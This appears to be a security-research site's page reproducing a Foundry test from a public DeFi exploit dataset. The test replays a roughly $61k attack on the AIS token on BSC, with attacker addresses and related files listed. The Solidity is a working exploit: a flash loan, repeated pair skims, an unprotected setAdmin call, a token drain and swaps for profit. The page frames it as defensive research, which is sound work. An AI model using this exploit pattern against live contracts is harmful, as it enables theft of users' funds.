Public reproduction file
src/test/2023-11/AIS_exp.sol
Public reproduction file for dataset entry AIS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~$61k8// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c88919// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D10// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc11// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d35112// Vulnerable Contract:13// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d613214// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d715// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de017// @Analysis18// https://twitter.com/Phalcon_xyz/status/172986104800439130620interface IAIS is IERC20 {21 function setSwapPairs(22 address _address23 ) external;24 function harvestMarket() external;25}27interface VulContract {28 function setAdmin(29 address _admin30 ) external;31 function transferToken(address _from, address _to, uint256 _tokenId) external;32}34contract AISExploit is Test {35 IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);36 IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132);38 Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);39 Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf);40 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);42 VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7);44 function setUp() public {45 vm.createSelectFork("bsc", 33_916_687);47 vm.label(address(usdt), "USDT");48 vm.label(address(AIS), "AIS");49 vm.label(address(pool), "pool");50 vm.label(address(usdt_ais), "usdt_ais pair");51 vm.label(address(router), "router");52 }54 function testExploit() public {55 uint256 balanceBefore = usdt.balanceOf(address(this));57 usdt.approve(address(router), type(uint256).max);58 AIS.approve(address(router), type(uint256).max);60 pool.flash(address(this), 3_000_000 ether, 0, new bytes(1));61 uint256 balanceAfter = usdt.balanceOf(address(this));62 emit log_named_decimal_uint("USDT profit", balanceAfter - balanceBefore, usdt.decimals());63 }65 function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {66 swap(3_000_000 ether, address(usdt), address(AIS));68 usdt_ais.skim(address(this));69 for (uint256 i = 0; i < 100; i++) {70 uint256 balance = AIS.balanceOf(address(this));71 AIS.transfer(address(usdt_ais), balance * 90 / 100);72 AIS.transfer(address(usdt_ais), 0);73 usdt_ais.skim(address(this));74 usdt_ais.skim(address(this));75 }77 AIS.harvestMarket();78 vulContract.setAdmin(address(this));80 uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100;81 vulContract.transferToken(address(AIS), address(this), amount);82 AIS.setSwapPairs(address(this));84 AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this)));85 AIS.transfer(address(usdt_ais), 0);86 swap(0, address(AIS), address(usdt));88 usdt.transfer(address(pool), 3_000_000 ether + fee0);89 }91 function swap(uint256 amountIn, address tokenIn, address tokenOut) internal {92 address[] memory path = new address[](2);93 path[0] = tokenIn;94 path[1] = tokenOut;95 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);96 }97}Analysis
Dataset entry
Public Foundry test for “ AIS” (2023-11-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Vulnerable Contract
0x6844ef18012a383c14e9a76a93602616ee9d6132
- Attack Tx
0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0
- Explorer: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
- Explorer: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D
- Explorer: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc
- Explorer: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351
- Explorer: https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132
- Explorer: https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7
- Reference: https://twitter.com/Phalcon_xyz/status/1729861048004391306
File record
- Name
- AIS
- Path
- src/test/2023-11/AIS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4aaf070e12d7dece09eadfbb76114a1708726324
- Language
- Solidity
- Size
- 98 lines
- Date
- 2023-11-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/AIS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4aaf070e12d7dece09eadfbb76114a1708726324, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.